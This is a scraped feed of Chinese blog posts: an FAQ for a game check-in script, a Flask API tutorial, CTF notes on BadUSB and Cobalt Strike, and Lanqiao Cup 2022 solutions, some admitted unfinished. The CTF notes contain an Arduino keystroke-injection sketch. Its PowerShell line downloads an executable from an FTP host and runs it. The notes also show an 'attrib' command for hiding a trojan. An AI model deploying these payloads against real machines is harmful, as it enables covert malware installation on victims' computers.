Accept-Encoding: gzip, deflate, br
x-rpc-sys_version: <iOS版本>

Q&A

青龙面板里面怎么用 (因仓库被封所以issue没了,请看青龙面板一节

使用Action版本,把配置写入config.json内,然后根据这个链接里面的做法对脚本进行小修改就可以用了

为什么要把信息作为统计数据发到统计服务器? 统计服务器已关闭,本条目已失效

因为我手头上的信息实在太少了,而且按照米忽悠的习惯,他们的数据如果没有庞大的数据量的话很难分析出一个所以然来,所以我这里需要大量的数据。如果你不想共享你的数据,请将配置中的analytics设置为false

SCF版本出现报错

报错内容为:wait_time = random(1, 300) # Random wait time TypeError: 'module' object is not callable

更新一下脚本就好了,在commit1665099已经修好了(感谢@Elletear发现这个问题并提交PR#5

KeepActionAlive运行失败(权限不足)

具体如图所示,这个要得益于昨天Github的一个更新GitHub Actions - Updating the default GITHUB_TOKEN permissions to read-only | GitHub Changelog

在仓库里面点击Settings => Actions => General,往下拉找到Workflow permissions,把原来的Read repository contents and packages permissions改为上面的Read and write permissions,然后点击下面的Save键就可以了

发现了bug/无法使用

请前往Issues · GamerNoTitle/MHYY (github.com)发起新的issue来提出,不要在本页面的评论区提出问题(因为追踪性太差了)

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Tutorial + + Script + + + +
+ + + + + 用Python和Flask打造属于自己的API + + /posts/API-FLASK/ + +

先上api链接:https://api.ninym.top

文档链接:https://ninym.top


快速开始

环境安装

首先既然是用python+flask,这两个东西肯定要装好的嘛~ Python的安装我就不讲了,主要说下flask

很简单,安装命令就一行

Linux

1
pip3 install flask

Windows

1
pip install flask

因为我这里已经安装过了,所以写的是Requirement already satisfied,如果没有安装过的话会进入安装状态

# Hello World

既然要用flask框架,那就首先要引用,在python中,我们可以使用import语句来引用外部模块

1
from flask import Flask

当然可以在后面加上as xxx给它取个别名(特别是对于那些名字很长的modules,下面会讲)

接下来我们创建我们的第一个flask程序

1
2
3
4
5
6
7
8
9
from flask import Flask

app = Flask(__name__)
@app.route('/', methods=['GET'])
def parser():
return '<h1>Hello World!</h1>'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080, debug=False)

然后我们直接运行命令python <file>.py就可以运行我们的服务器了(Linux请使用python3 <file>.py,下面不再赘述,只讲Windows,Linux用户请自行替换)

然后我们在浏览器访问我们的网站,在这里可以使用127.0.0.1:8080访问,因为服务器就是部署在本机器上面的,打开后就会显示Hello World了

注:图标是我的浏览器本地缓存,正常情况下网站是没有图标的(因为没有设置)

太棒啦,你现在已经学会创建Flask程序啦!

我的Flask程序

网易云音乐下载

我在玩这个东西的过程中,主要是想把我的网易云音乐的API给重制一下(之前是用JavaScript写的烂代码,而且不会自动重命名,就想把这个功能完善一下),所以在我住院的期间,我就开始干起了这个东西。

首先先新建一个utils文件夹,里面放各种自制模块,然后新建了NeteaseCloudMusic.py来写我的这部分的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests as r
import bs4
import os
import re


def NeteaseDownload(id, ContentType):
if ContentType == 'attachment':
song, author = FileInfo(id)
# If the song id doesn't map to a song, this will return.
if song == None and author == None:
return False, 'Not Found', 'Not Found'
base = 'https://music.163.com/song/media/outer/url?id='
file = './cache/' + id + '.mp3'
filename = id+'.mp3'
if os.path.exists(file):
return filename, song, author
try:
stream = r.get(base + id, timeout=30)
except TimeoutError:
return False, None, None
if 'u-errlg u-errlg-404' in stream.text: # Some VIP songs cannot be downloaded
print(
'[NETEASEMUSICDOWNLOAD] Failed while getting the resources and information of a song.')
return False, 404, 404
print('[NETEASEMUSICDOWNLOAD] Getting song {} - {}, returned status_code {}'.format(
author, song, stream.status_code))
with open(file, 'wb') as f:
f.write(stream.content)
return filename, song, author
else:
base = 'https://music.163.com/song/media/outer/url?id='
song, author = FileInfo(id)
if song == None and author == None:
return {'code': -2, 'msg': 'It seems that id {} is not a valid song id.'.format(id)}
try:
stream = r.get(base + id, timeout=30)
except TimeoutError:
return {'code': -3, 'msg': 'Timed out. Please try again later.'}
if stream.url == "https://music.163.com/404":
return {'code': 500, 'link': None, 'name': song, 'author': author, 'msg': 'Cannot fetch download link.'}
return {'code': 200, 'link': stream.url, 'name': song, 'author': author, 'msg': 'Success'}


def FileInfo(id): # Get the information of the song, including name and author
TargetWebInfo = r.get('https://music.163.com/song?id=' + id)
html = TargetWebInfo.content
bf = bs4.BeautifulSoup(html, "lxml")
try:
song = str(list(bf.find_all('em', class_="f-ff2"))[0])
song = song.replace('<em class="f-ff2">', '').replace('</em>', '')
ForbiddenCharacters = [('\\', ' '), ('/', ' '), (':', ':'),
('*', ' '), ('?', '?'), ('<', ' '), ('>', ' '), ('|', '丨')]
for i in ForbiddenCharacters:
song = song.replace(i[0], i[1])
except:
song = None
try:
author = str(list(bf.find_all('a', class_='s-fc7'))[1])
ReplaceLink = re.findall(r'<a class="s-fc7" href=".+">', author)
for i in ReplaceLink:
author = author.replace(i, '')
author = author.replace('</a>', '')
if author == '${escape(x.beRepliedUser.nickname)}':
author = None
except:
author = None
return song, author

首先因为涉及到网络,所以就引入了一个requests模块(精简版的utllib),然后把我原来在JavaScript写的逻辑搬过来,就形成了NeteaseDownload这个函数,那就剩下重命名没搞定。因为手动解析网易云音乐的网页很麻烦,所以就用了一个叫做beautifulsoup4的模块来帮助我解析。在这里直接搜索<em>元素,限定class为f-ff2,这样就可以找到歌曲名;在用re寻找<a>标签下class为<s-fc7>的内容,这些元素和class都是通过分析网易云音乐网站的源代码获得的。当然当用户输入了非法的id的时候,在网易云上就无法获取到歌曲信息,这时候通过搜索作者中内容为${escape(x.beRepliedUser.nickname)}的情况就可以判断,向用户返回非法id的信息

接着在主程序中注册网易云音乐的解析器,给网易云音乐的API设定路径即可

1
2
3
4
5
6
7
8
9
10
11
12
13
from utils.NeteaseCloudMusic import NeteaseDownload
@app.route('/<query>', methods=['GET']) # First path handler
def parser(query):
paths = ['song'] # All requests paths
path = query.split('/')
parameter = path[0]
if parameter not in paths: # When the path not exists, this will return 404
abort(404)
if parameter == 'song':
id = request.args.get('id')
ContentType = request.args.get('type')
return NeteaseHandler(id, ContentType)

Github RELEASE下载次数饼状图

这个用到了matplotlib.pyplot这个模块,上面说这种模块名字很长的就可以给它命个别名,所以在引入的时候就给它改了个名字

1
2
import matplotlib.pyplot as plt
import matplotlib# 本体,在后面颜色的设定用到了

然后就是疯狂地写代码,Github的下载次数是有API可以获取的(不过有QPS就是了)

从Github获取次数后进行json解析,把RELEASE版本信息和次数提取出来,接着放到图片里就可以了,总之就是写成了下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import requests as r
import matplotlib.pyplot as plt
import matplotlib
import numpy as np
import json
import flask

ReleaseBase = 'https://api.github.com/repos/'
domain = 'dev.api.ninym.top'

def ghParser(operation, author, repo, ContentType):
operations = ['release']
Error404 = {
'code': 404,
'msg': 'Invalid path gh/{}'.format(operation)
}
Error501 = {
'code': 501,
'msg': 'It seems that this repo has no any release'.format(operation)
}
if operation not in operations: return json.dump(Error404)
if operation == 'release':
release = Release(author,repo,ContentType)
if release.isEmpty:
return json.dumps(Error501)
return release.Draw()

class Release():
def __init__(self, author, repo, ContentType):
self.author = author
self.repo = repo
self.info = json.loads(r.get(ReleaseBase+self.author+'/'+self.repo+'/releases').text)
self.ContentType = ContentType
if len(self.info) == 0: self.isEmpty = True
else: self.isEmpty = False

def getInfo(self): # For debugging
return self.info

def makeDimensionList(self):
self.ReleaseLabel = []
self.ReleaseDownloads = []
for i in self.info:
Downloads = 0
TagName = i['tag_name']
assets = i['assets']
if len(assets) == 0:
self.ReleaseLabel = None
self.ReleaseDownloads = None
else:
for j in assets:
Downloads += j['download_count']
self.ReleaseLabel.append(TagName)
self.ReleaseDownloads.append(Downloads)


def Draw(self):
self.makeDimensionList()
plt.figure(figsize=(10,10)) # Make the circle to be a formal one
matplotlib.rcParams.update({'font.size': 20}) # Change the font size of title
if self.ReleaseDownloads == None and self.ReleaseLabel == None:
values = [100]
plt.title('No Any Downloadable Asset from {}/{}'.format(self.author,self.repo))
r = np.linspace(106,142,1,dtype=np.uint8)
g = np.linspace(103,140,1,dtype=np.uint8)
b = np.linspace(232,216,1,dtype=np.uint8)
colors = ['#'+'{:0>2}{:0>2}{:0>2}'.format(str(hex(r[i])),str(hex(g[i])),str(hex(b[i]))).replace('0x','') for i in range(len(r))]
plt.pie(values,colors=colors)
plt.savefig('./cache/{}-{}.png'.format(self.author,self.repo))
if self.ContentType == 'pic': return flask.send_from_directory('./cache/', '{}-{}.png'.format(self.author,self.repo), as_attachment=False, download_name='{} - {}.png'.format(self.author, self.repo))
else:
dt = {
'author': self.author,
'repo': self.repo,
'labels': self.ReleaseLabel,
'downloads': self.ReleaseDownloads,
'pic': 'https://{}/cache/{}-{}.png'.format(domain,self.author,self.repo),
'remark': 'The access to the pic will be removed when the service is redeployed or by the operation of administrator'
}
return json.dumps(dt)
explode = [0.01] * len(self.ReleaseLabel)
r = np.linspace(106,142,len(self.ReleaseDownloads),dtype=np.uint8)
g = np.linspace(103,140,len(self.ReleaseDownloads),dtype=np.uint8)
b = np.linspace(232,216,len(self.ReleaseDownloads),dtype=np.uint8)
colors = ['#'+'{:0>2}{:0>2}{:0>2}'.format(str(hex(r[i])),str(hex(g[i])),str(hex(b[i]))).replace('0x','') for i in range(len(r))]
plt.pie(self.ReleaseDownloads,explode=explode,labels=self.ReleaseLabel,autopct='%1.1f%%',colors=colors)
plt.title('Downloads of {}/{}'.format(self.author,self.repo))
plt.savefig('./cache/{}-{}.png'.format(self.author,self.repo))
if self.ContentType == 'pic': return flask.send_from_directory('./cache/', '{}-{}.png'.format(self.author,self.repo), as_attachment=False, download_name='{} - {}.png'.format(self.author, self.repo))
else:
dt = {
'author': self.author,
'repo': self.repo,
'labels': self.ReleaseLabel,
'downloads': self.ReleaseDownloads,
'pic': 'https://{}/cache/{}-{}.png'.format(domain,self.author,self.repo),
'remark': 'The access to the pic will be removed when the service is redeployed or by the operation of administrator'
}
return json.dumps(dt)

然后还是一样在主程序中注册路径即可

1
2
3
4
5
6
7
8
9
10
11
from utils.Github import ghParser

@app.route('/gh/<operation>', methods=['GET']) # Github Handler
def ghHandler(operation):
Analytics(request)
author = request.args.get('author')
repo = request.args.get('repo')
ContentType = request.args.get('type')
if ContentType != 'pic' and ContentType != 'json':
ContentType = 'pic'
return ghParser(operation, author, repo, ContentType)

部署服务

部署服务我选择的是Railway这个平台,相比于heroku来说比较快,而且不用绑卡就能绑定域名,很方便

在这上面新建环境,选择Deploy from Github Repo,然后选中自己的仓库就行了

然后在项目的设置中进行自定义域名的绑定和启动命令的修改即可

结语

总的来说,用Flask还是比较方便的,何况我还是比较会用Python,能够做出很多奇奇怪怪的东西,但是就是缺少点子

如果你有什么想法也可以在评论区留言,我说不定会做出来呢?

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Flask + + API + + Host + + + +
+ + + + + CTF学习笔记(大学篇)02 —— BadUSB & CobaltStrike + + /posts/CTF-in-College-2/ + +

HID设备

人类接口设备,就是直接与人类进行交互的设备(鼠标、键盘之类的)

HID攻击

插入一定的设备,设备有一定的标识符(例如Keyboard、Mouse),插入后就可以运行烧录在BadUSB上的指令来输入恶意代码,把木马植入计算机之中。(伪造用户击键行为等)

USB HID攻击 VS 摆渡攻击

前者运用的是伪造的HID设备执行恶意代码,摆渡攻击是在U盘等设备放置木马程序,隐藏在存储介质之中。

USB HID攻击特点

  • 隐蔽性强
  • 攻击范围广
  • 权限高

攻击范围是只要能够支持USB HID接口协议的设备均可用。

相关编程语句

默认内容

1
2
3
4
5
6
7
void setup() {

}

void loop() {

}
  • void setup()函数内的代码只运行一次
  • void loop()函数内的代码会一直循环运行

运行cmd并打开记事本,输入相关内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();
delay(1000);

Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//win键释放
Keyboard.release('r');//r键释放

Keyboard.press(KEY_CAPS_LOCK);//若目标机开启大小写,关掉即可
Keyboard.release(KEY_CAPS_LOCK);//若目标机没有开启,也不影响
delay(500);
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);//目标机开启中文或开启大小写键
delay(500);

//弹出记事本
Keyboard.println("notepad.exe");
delay(500);
delay(500);//可防止丢帧
Keyboard.println("you are hacked!!!");
Keyboard.println("you are hacked!!!");
Keyboard.println("you are hacked!!!");
Keyboard.press(KEY_CAPS_LOCK);//若目标机开启大小写,关掉即可
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}

void loop() {
// put your main code here, to run repeatedly:
}
  • Keyboard.press就表示按下按键,用Keyboard.release松开
  • KEY_LEFT_GUI表示左边的Win按键
  • Keyboard.begin()开启键盘通讯,Keyboard.end()来表示结束
  • 因为插入设备的时候目标主机可能处于中文输入法,所以用Keyboard.press(KEY_CAPS_LOCK)打开大小写锁定,然后来输入命令,这样输入的就是英文字符而不受到中文输入法的限制了,输入完了以后记得用Keyboard.release(KEY_CAPS_LOCK)松开
  • Keyboard.begin()下面的delay(1000):一般来说,设备插入后计算机需要启动驱动,在这里加入延迟就是为了给计算机启动驱动的时间(甚至是安装驱动,diss一下win7以下的那堆),当然一般是3秒5秒,1秒还是太短了
  • 按键的定义如下(键盘按键+编码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
///Alt和Ctrl和Shift
#define KEY_LEFT_CTRL 0x80
#define KEY_LEFT_SHIFT 0x81
#define KEY_LEFT_ALT 0x82
#define KEY_LEFT_GUI 0x83
#define KEY_RIGHT_CTRL 0x84
#define KEY_RIGHT_SHIFT 0x85
#define KEY_RIGHT_ALT 0x86
#define KEY_RIGHT_GUI 0x87
///方向键系列
#define KEY_UP_ARROW 0xDA
#define KEY_DOWN_ARROW 0xD9
#define KEY_LEFT_ARROW 0xD8
#define KEY_RIGHT_ARROW 0xD7
//特殊键位,其中RETURN就是回车
#define KEY_BACKSPACE 0xB2
#define KEY_TAB 0xB3
#define KEY_RETURN 0xB0
#define KEY_ESC 0xB1
///特殊键位,我比较常用的是DELETE
#define KEY_INSERT 0xD1
#define KEY_DELETE 0xD4
#define KEY_PAGE_UP 0xD3
#define KEY_PAGE_DOWN 0xD6
#define KEY_HOME 0xD2
#define KEY_END 0xD5
#define KEY_CAPS_LOCK 0xC1
///F区的这些那些
#define KEY_F1 0xC2
#define KEY_F2 0xC3
#define KEY_F3 0xC4
#define KEY_F4 0xC5
#define KEY_F5 0xC6
#define KEY_F6 0xC7
#define KEY_F7 0xC8
#define KEY_F8 0xC9
#define KEY_F9 0xCA
#define KEY_F10 0xCB
#define KEY_F11 0xCC
#define KEY_F12 0xCD
#define KEY_F13 0xF0
#define KEY_F14 0xF1
#define KEY_F15 0xF2
#define KEY_F16 0xF3
#define KEY_F17 0xF4
#define KEY_F18 0xF5
#define KEY_F19 0xF6
#define KEY_F20 0xF7
#define KEY_F21 0xF8
#define KEY_F22 0xF9
#define KEY_F23 0xFA
#define KEY_F24 0xFB

利用FTP服务器存储病毒文件,利用BadUSB执行下载命令后运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include "Keyboard.h"

void setup()
{
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI); //win键 释放
Keyboard.release('r'); //r键 释放
delay(500);
Keyboard.println("powershell $p=new-object system.net.webclient;$p.downloadfile('FTP://admin:123456@169.254.202.247/calc.exe','F:\\calc.exe');START F:\\calc.exe");
Keyboard.end();//结束键盘通讯
}

void loop()
{
}

  • FTP协议写法:ftp://<username>:<password>@<address>:<port>,可以通过这种方式将用户名和命令写入而无需弹出验证窗口

CobaltStrike用法

首先需要打开Teamserver

然后再打开CS,连接Teamserver

接着就会弹出主界面

然后我们生成一个木马程序,这个程序运行后就会在主界面显示肉鸡,可以进行远程操作等操作

隐藏木马病毒

一般来说,木马下载到计算机内后,如果不隐藏很快就会被发现(这不是当然的嘛,一个不明觉厉的exe在那里谁都会感觉奇怪吧)

所以在Windows下,我们可以将文件进行隐藏,使用attrib命令就可以做到这一点,例如

1
attrib +s +h '.\Virus.exe'

隐藏后可以用命令行打开(直接输入.\Virus.exe就行了),但是在文件资源管理器里面看不到

在Linux下,可以在文件的最前面加一个点(.),会被Linux认为是隐藏文件,就在文件管理器中看不到啦

]]>
+ + + + + CTF + + + + + + + CTF + + HID + + CobaltStrike + + Powershell + + + +
+ + + + + 蓝桥杯2022年B组省赛 —— 个人题解 + + /posts/lanqiao-2022-province/ + +

这篇是后来补发的,过了老久才想起来我的蓝桥杯题解还没发出来,所以这里补一份

试题 A: 排列字母

本题总分:5 分

  • 【问题描述】 小蓝要把一个字符串中的字母按其在字母表中的顺序排列。 例如,LANQIAO 排列后为 AAILNOQ。 又如,GOODGOODSTUDYDAYDAYUP 排列后为 AADDDDDGGOOOOPSTUUYYY 。 请问对于以下字符串,排列之后字符串是什么? WHERETHEREISAWILLTHEREISAWAY
  • 【答案提交】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果为一 个由大写字母组成的字符串,在提交答案时只填写这个字符串,填写多余的内 容将无法得分。
1
2
3
# 忘存代码了
print('I forgot to save the code...')

试题 B: 寻找整数

本题总分:5 分

  • 【问题描述】 有一个不超过 1017 的正整数 n,知道这个数除以 2 至 49 后的余数如下表 所示,求这个正整数最小是多少。

  • 【答案提交】 这是一道结果填空的题,你只需要算出结果后提交即可。本题的结果为一 个整数,在提交答案时只填写这个整数,填写多余的内容将无法得分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
equal = True
result = False
mods = {
2: 1,
3: 2,
4: 1,
5: 4,
6: 5,
7: 4,
8: 1,
9: 2,
10: 9,
11: 0,
12: 5,
13: 10,
14: 11,
15: 14,
16: 9,
17: 0,
18: 11,
19: 18,
20: 9,
21: 11,
22: 11,
23: 15,
24: 17,
25: 9,
26: 23,
27: 20,
28: 25,
29: 16,
30: 29,
31: 27,
32: 25,
33: 11,
34: 17,
35: 4,
36: 29,
37: 22,
38: 37,
39: 23,
40: 9,
41: 1,
42: 11,
43: 11,
44: 33,
45: 29,
46: 15,
47: 5,
48: 41,
49: 46
}
i = 1
while i <= 10**17:
i *= 11
equal = True
for j in range(2,50):
if i % j != mods[j]:
print(f'{i} % {j} = {i%j} != {mods[j]}')
equal = False
break
if equal:
num = i
break
if equal: print(f'result: {num}')
else: print('No Result')

试题 C: 纸张尺寸

  • 时间限制:1.0s

  • 内存限制:512.0MB

  • 本题总分:10分

  • 【问题描述】
    在ISO国际标准中定义了A0纸张的大小为1189mm×841mm,将A0纸沿长边对折后为A1纸,大小为841mm×5mm,在对折的过程中长度直接取下整(实际裁剪时可能有损耗)。将A1纸沿长边对折后为A2纸,依此类推。输入纸张的名称,请输出纸张的大小。

  • 【输入格式】
    输入一行包含一个字符串表示纸张的名称,该名称一定是A3、A4、A5、A6、A7、A8、A9之一

  • 【输出格式】
    输出两行,每行包含一个整数,依次表示长边和短边的长度。

  • 【样例输入1】
    A0

  • 【样例输出1】
    1189
    841

  • 【样例输入2】
    A1

  • 【样例输出2】
    841
    594

1
2
3
4
5
6
7
8
9
10
11
line = 1189
col = 841
size = input()
times = int(size[1:])
print(times)
for i in range(times):
if line >= col: line = line // 2
else: col = col // 2
print(max([line,col]))
print(min([line,col]))

试题 D: 数位排序

  • 时间限制:1.0s
  • 内存限制:512MB
  • 本题总分:10分
  • 【问题描述】
    小蓝对一个数的数位之和很感兴趣,今天他要按照数位之和给数排序。当两个数各个数位之和不同时,将数位和较小的排在前而,当数位之和相等时,将数值小的排在前。例如,2022排在409前面,因为2022的数位之和是6,小于409的数位之和13。
    又如,6排在2022前,因为它们的数位之和相同,而6小于2022。
    给定正整数n,m,请问对1到n采用这种方法排序时,排在第m个的元素是多少?
  • 【输入格式】
    输入第一行包含一个正整数n。第二行包含一个正整数m。
  • 【输出格式】
    输出一行包含一个整数,表示答案。
  • 【样例输入】
    13
    5
  • 【样例输出】
    3
  • 【样例说明】
    1 到 13 的排序为:1, 10, 2, 11, 3, 12, 4, 13, 5, 6, 7, 8, 9。第 5 个数为 3。
  • 【评测用例规模与约定】
    对于 30% 的评测用例,1 ≤ m ≤ n ≤ 300。 对于 50% 的评测用例,1 ≤ m ≤ n ≤ 1000。 对于所有评测用例,1 ≤ m ≤ n ≤ 106。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
maxnum = int(input())
pos = int(input())

def summary(num):
length = len(str(num))
s = 0
for i in str(num):
s += int(i)
return s
nums = []
for i in range(1,maxnum+1):
nums.append((i,summary(i)))
nums.sort(key=lambda s: s[0])
nums.sort(key=lambda s: s[1])
print(nums[pos-1][0])

试题 E: 蜂巢

  • 时间限制: 1.0s
  • 内存限制: 512.0MB
  • 本题总分:15 分
  • 【问题描述】
    蜂巢由大量的六边形拼接而成,定义蜂巢中的方向为:0 表示正西方向,1表示西偏北 60◦,2 表示东偏北 60◦,3 表示正东,4 表示东偏南 60◦,5 表示西
    偏南 60◦。对于给定的一点 O,我们以 O 为原点定义坐标系,如果一个点 A 由 O 点先向 d 方向走 p 步再向 (d + 2) mod 6 方向(d 的顺时针 120◦ 方向)走 q 步到达,则这个点的坐标定义为 (d, p, q)。在蜂窝中,一个点的坐标可能有多种。下图给出了点 B(0, 5, 3) 和点 C(2, 3, 2) 的示意。

    给定点 (d1, p1, q1) 和点 (d2, p2, q2),请问他们之间最少走多少步可以到达?
  • 【输入格式】
    输入一行包含 6 个整数 d1, p1, q1, d2, p2, q2 表示两个点的坐标,相邻两个整数之间使用一个空格分隔。
  • 【输出格式】
    输出一行包含一个整数表示两点之间最少走多少步可以到达。
  • 【样例输入】
    0 5 3 2 3 2
  • 【样例输出】
    7
  • 【评测用例规模与约定】
    对于 25% 的评测用例,p1, p2 ≤ 103 ;
    对于 50% 的评测用例,p1, p2 ≤ 105 ;
    对于 75% 的评测用例,p1, p2 ≤ 107 ;
    对于所有评测用例,0 ≤ d1, d2 ≤ 5,0 ≤ q1 < p1 ≤ 109,0 ≤ q2 < p2 ≤ 109 。
1
print('没做出来……')

试题 F: 消除游戏

  • 时间限制: 3.0s
  • 内存限制: 512.0MB
  • 本题总分:15 分
  • 【问题描述】 在一个字符串 S 中,如果 S i = S i−1 且 S i , S i+1 ,则称 S i 和 S i+1 为边缘字符。如果 S i , S i−1 且 S i = S i+1,则 S i−1 和 S i 也称为边缘字符。其它的字符都不是边缘字符。 对于一个给定的串 S,一次操作可以一次性删除该串中的所有边缘字符 (操作后可能产生新的边缘字符)。 请问经过 2 64 次操作后,字符串 S 变成了怎样的字符串,如果结果为空则 输出 EMPTY。
  • 【输入格式】
    输入一行包含一个字符串 S 。
  • 【输出格式】
    输出一行包含一个字符串表示答案,如果结果为空则输出 EMPTY。
  • 【样例输入 1】
    edda
  • 【样例输出 1】
    EMPTY
  • 【样例输入 2】
    sdfhhhhcvhhxcxnnnnshh
  • 【样例输出 2】
    s
  • 【评测用例规模与约定】
    对于 25% 的评测用例,|S | ≤ 103 ,其中 |S | 表示 S 的长度;
    对于 50% 的评测用例,|S | ≤ 104 ;
    对于 75% 的评测用例,|S | ≤ 105 ;
    对于所有评测用例,|S | ≤ 106,S 中仅含小写字母。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
s = input()
times = 2**64
mark = 'F'*len(s)
nextS = ''
empty = False
NoOperation = True
for time in range(times):
if s == '':
empty = True
break
for i in range(len(s)):
if i == (len(s)-1): continue
if s[i] == s[i+1] and s[i] != s[i-1]: # 与右边相同与左边不同
NoOperation = False
mark = mark[:i-1] + 'TT' + mark[i+1:]
elif s[i] == s[i-1] and s[i] != s[i+1]: # 与左边相同与右边不同
NoOperation = False
mark = mark[:i] + 'TT' + mark[i+2:]
if NoOperation: break
for i in range(len(mark)):
if mark[i] == 'F':
nextS += s[i]
s = nextS
nextS = ''
mark = 'F'*len(s)
NoOperation = True
if empty:
print('EMPTY')
else:
print(s)

试题 G: 全排列的价值

  • 时间限制: 1.0s
  • 内存限制: 512.0MB
  • 本题总分:20 分
  • 【问题描述】
    对于一个排列 A = (a1, a2, · · · , an),定义价值 ci 为 a1 至 ai−1 中小于 ai 的数 的个数,即 bi = |{aj | j < i, aj < ai}|。定义 A 的价值为 ∑n i=1 ci。 给定 n,求 1 至 n 的全排列中所有排列的价值之和。
  • 【输入格式】
    输入一行包含一个整数 n 。
  • 【输出格式】
    输出一行包含一个整数表示答案,由于所有排列的价值之和可能很大,请输出这个数除以 998244353 的余数。
  • 【样例输入 1】
    3
  • 【样例输出 1】
    9
  • 【样例输入 2】
    2022
  • 【样例输出 2】
    593300958
  • 【样例说明】
    1 至 3 构成的所有排列的价值如下:
    (1, 2, 3) : 0 + 1 + 2 = 3 ;
    (1, 3, 2) : 0 + 1 + 1 = 2 ;
    (2, 1, 3) : 0 + 0 + 2 = 2 ;
    (2, 3, 1) : 0 + 1 + 0 = 1 ;
    (3, 1, 2) : 0 + 0 + 1 = 1 ;
    (3, 2, 1) : 0 + 0 + 0 = 0 ;
    故总和为 3 + 2 + 2 + 1 + 1 = 9。
  • 【评测用例规模与约定】
    对于 40% 的评测用例,n ≤ 20 ;
    对于 70% 的评测用例,n ≤ 5000 ;
    对于所有评测用例,2 ≤ n ≤ 106 。

这题没做完

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from itertools import permutations

n = int(input())
summary = 0

ls = list(range(1,n+1))
MaxPermutations = []
for i in permutations(ls):
lesscount = 0
for j in i:
for k in range(i.index(j),len(i)):
if j < i[k]: lesscount += 1
summary += lesscount
mods = summary % 998244353
print(mods)
## if i[0] == n: MaxPermutations.append(i)
## else: break
##print(MaxPermutations)

试题 H: 技能升级

  • 时间限制: 1.0s
  • 内存限制: 512.0MB
  • 本题总分:20 分
  • 【问题描述】
    小蓝最近正在玩一款 RPG 游戏。他的角色一共有 N 个可以加攻击力的技 能。其中第 i 个技能首次升级可以提升 Ai 点攻击力,以后每次升级增加的点数 都会减少 Bi。⌈ Ai Bi ⌉ (上取整) 次之后,再升级该技能将不会改变攻击力。 现在小蓝可以总计升级 M 次技能,他可以任意选择升级的技能和次数。请 你计算小蓝最多可以提高多少点攻击力?
  • 【输入格式】
    输入第一行包含两个整数 N 和 M。 以下 N 行每行包含两个整数 Ai 和 Bi。
  • 【输出格式】
    输出一行包含一个整数表示答案。
  • 【样例输入】
    3 6 10 5 9 2 8 1
  • 【样例输出】
    47
  • 【评测用例规模与约定】
    对于 40% 的评测用例,1 ≤ N, M ≤ 1000;
    对于 60% 的评测用例,1 ≤ N ≤ 104 , 1 ≤ M ≤ 107;
    对于所有评测用例,1 ≤ N ≤ 105,1 ≤ M ≤ 2 × 109,1 ≤ Ai , Bi ≤ 106。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from math import ceil
TotalATK = 0
SkillCounts, UpgradeTimes = list(map(int, input().split(' ')))
Skills = []
for i in range(SkillCounts):
ATK, PointMinus = list(map(int, input().split(' ')))
MaxUpgradeTimes = ceil(ATK/PointMinus)
Skills.append([ATK, PointMinus, MaxUpgradeTimes])

Skills.sort(key=lambda s: s[0],reverse=True)

for i in range(UpgradeTimes):
TotalATK += Skills[0][0]
Skills[0][0] -= Skills[0][1] # ATK减少固定值
Skills[0][2] -= 1 # 可升级次数-1
Skills.sort(key=lambda s: s[0],reverse=True)
print(TotalATK)

试题 I: 最长不下降子序列

  • 时间限制: 1.0s
  • 内存限制: 512.0MB
  • 本题总分:25 分
  • 【问题描述】
    给定一个长度为 N 的整数序列:A1, A2, · · · , AN。现在你有一次机会,将其 中连续的 K 个数修改成任意一个相同值。请你计算如何修改可以使修改后的数 列的最长不下降子序列最长,请输出这个最长的长度。 最长不下降子序列是指序列中的一个子序列,子序列中的每个数不小于在 它之前的数。
  • 【输入格式】
    输入第一行包含两个整数 N 和 K。 第二行包含 N 个整数 A1, A2, · · · , AN。
  • 【输出格式】
    输出一行包含一个整数表示答案。
  • 【样例输入】
    5 1 1 4 2 8 5
  • 【样例输出】
    4
  • 【评测用例规模与约定】
    对于 20% 的评测用例,1 ≤ K ≤ N ≤ 100;
    对于 30% 的评测用例,1 ≤ K ≤ N ≤ 1000;
    对于 50% 的评测用例,1 ≤ K ≤ N ≤ 10000;
    对于所有评测用例,1 ≤ K ≤ N ≤ 10^5,1 ≤ Ai ≤ 10^6。

好像我的做法有点bug?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
